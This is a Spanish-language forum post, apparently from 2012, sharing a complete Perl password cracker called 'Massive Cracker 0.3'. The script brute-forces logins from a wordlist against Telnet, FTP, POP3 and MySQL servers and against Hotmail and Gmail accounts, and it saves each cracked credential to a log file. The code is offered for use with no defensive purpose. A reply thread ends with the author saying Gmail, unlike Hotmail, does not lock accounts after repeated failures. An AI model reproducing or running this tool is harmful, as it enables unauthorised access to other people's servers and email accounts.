Hola , aca les traigo una mejora de un antiguo cracker que hice hace tiempo.
Las opciones de crack que tiene son
- Telnet
- FTP
- POP3
- Mysql
- Hotmail
- Gmail
Ademas guarda todos los registros en un archivo de texto que el mismo programa crea.
#!usr/bin/perl
#Massive Cracker 0.3
#Coded By Doddy H
#http://search.cpan.org/~jrogers/Net-Telnet-3.03/lib/Net/Telnet.pm
#ppm install http://www.bribes.org/perl/ppm/DBI.ppd
#ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd
#http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
#http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
#ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
use Net::FTP;
use Net::POP3;
use Net::Telnet;
use DBI;
use Mail::POP3Client;
use IO::Socket::SSL;
head();
print "[+] Option : ";
chomp( my $op = <stdin> );
if ( $op eq "1" ) {
my ( $host, $user, $word ) = form1();
my @words = openwordlist($word);
print "[+] Cracking service Telnet";
for my $pass (@words) {
chomp $pass;
$telnet = new Net::Telnet( Errmode => "return" );
$telnet->open($host);
if ( $telnet->login( $user, $pass ) ) {
yeah( $host, $user, $pass, "Telnet" );
}
$telnet->close;
}
print "\n\n[-] Password Not Found\n";
}
elsif ( $op eq "2" ) {
my ( $host, $user, $word ) = form1();
my @words = openwordlist($word);
print "[+] Cracking service FTP";
for my $pass (@words) {
chomp $pass;
$ftp = Net::FTP->new($host);
if ( $ftp->login( $user, $pass ) ) {
yeah( $host, $user, $pass, "FTP" );
}
$ftp->quit;
}
print "\n\n[-] Password Not Found\n";
}
elsif ( $op eq "3" ) {
my ( $host, $user, $word ) = form1();
my @words = openwordlist($word);
print "[+] Cracking service POP3";
for my $pass (@words) {
chomp $pass;
$pop = Net::POP3->new($host);
if ( $pop->login( $user, $pass ) ) {
yeah( $host, $user, $pass, "POP3" );
}
$pop->quit();
}
print "\n\n[-] Password Not Found\n";
}
elsif ( $op eq "4" ) {
my ( $host, $user, $word ) = form1();
my @words = openwordlist($word);
print "[+] Cracking service Mysql";
$target = "dbi:mysql::" . $host . ":3306";
for my $pass (@words) {
chomp $pass;
if ( my $now =
DBI->connect( $target, $user, $pass, { PrintError => 0 } ) )
{
yeah( $host, $user, $pass, "Mysql" );
}
}
print "\n\n[-] Password Not Found\n";
}
elsif ( $op eq "5" ) {
my ( $user, $word ) = form2();
my @words = openwordlist($word);
print "[+] Cracking account Hotmail";
for my $pass (@words) {
chomp $pass;
my $so = IO::Socket::SSL->new(
PeerAddr => "pop3.live.com",
PeerPort => 995,
Proto => "tcp"
);
my $nave = Mail::POP3Client->new();
$nave->User($user);
$nave->Pass($pass);
$nave->Socket($so);
if ( $nave->Connect() ) {
yeahmail( "Hotmail", $user, $pass );
}
$so->close();
$nave->close();
}
}
elsif ( $op eq "6" ) {
my ( $user, $word ) = form2();
my @words = openwordlist($word);
print "[+] Cracking account Gmail";
for my $pass (@words) {
chomp $pass;
my $so = IO::Socket::SSL->new(
PeerAddr => "pop.gmail.com",
PeerPort => 995,
Proto => "tcp"
);
my $nave = Mail::POP3Client->new();
$nave->User($user);
$nave->Pass($pass);
$nave->Socket($so);
if ( $nave->Connect() ) {
yeahmail( "Gmail", $user, $pass );
}
$so->close();
$nave->close();
}
}
else {
print "\n\n[+] Bad Option\n";
}
copyright();
sub yeah {
print "\a\a\n\n[+] Cracked\n\n";
print "[Host] : $_[0]\n";
print "[User] : $_[1]\n";
print "[Password] : $_[2]\n";
savefile( "cracked-logs.txt",
$_[3] . ":" . $_[0] . ":" . $_[1] . ":" . $_[2] );
copyright();
}
sub yeahmail {
print "\a\a\n\n[+] Cracked\n\n";
print "[Account Type] : $_[0]\n";
print "[User] : $_[1]\n";
print "[Password] : $_[2]\n";
savefile( "cracked-logs.txt", $_[0] . ":" . $_[1] . ":" . $_[2] );
copyright();
}
sub openwordlist {
my $file = shift;
print "\n[+] Opening file\n\n";
unless ( -f $file ) {
print "\n[-] File not found\n";
copyright();
}
print "[+] Reading file\n\n";
open( FILE, $file );
my @words = <FILE>;
close FILE;
print "[+] Words Found : " . int(@words) . "\n\n";
return @words;
}
sub savefile {
open( SAVE, ">>" . $_[0] );
print SAVE $_[1] . "\n";
close SAVE;
}
sub form1 {
print "\n[+] Host : ";
chomp( my $host = <stdin> );
print "\n[+] User : ";
chomp( my $user = <stdin> );
print "\n[+] Wordlist : ";
chomp( my $word = <stdin> );
return ( $host, $user, $word );
}
sub form2 {
print "\n[+] Email : ";
chomp( my $email = <stdin> );
print "\n[+] Wordlist : ";
chomp( my $word = <stdin> );
return ( $email, $word );
}
sub head {
print qq(
@ @ @@@@ @
@ @ @ @ @
@@ @@ @ @
@@ @@ @@@ @@ @@ @ @ @ @@@ @ @@ @@@ @@@ @ @ @@@ @@
@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
@ @ @ @ @@@@ @ @ @ @ @ @@@@@ @ @ @@@@ @ @@ @@@@@ @
@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
@ @ @@@@ @@ @@ @ @ @@@ @@@@ @ @@@@ @@@ @ @ @@@ @
Coded By Doddy H
[++] Services
[1] : Telnet
[2] : FTP
[3] : POP3
[4] : Mysql
[5] : Hotmail
[6] : Gmail
);
}
sub copyright {
print "\n\n(C) Doddy Hackman 2012\n\n";
<stdin>;
exit(1);
}
#The End ?
Cita de: Doddy en 4 Febrero 2012, 20:57 PM
Eso no debe servir, no? Ya que Hotmail bloquea la cuenta después de tantos intentos fallidos...
Cita de: MauroMasciar en 4 Febrero 2012, 22:11 PM
Eso no debe servir, no? Ya que Hotmail bloquea la cuenta después de tantos intentos fallidos...
buena observacion , al intento 20 ya no se puede tener buenos resultados en esa opcion, pero la opcion de Gmail no tiene ese problema.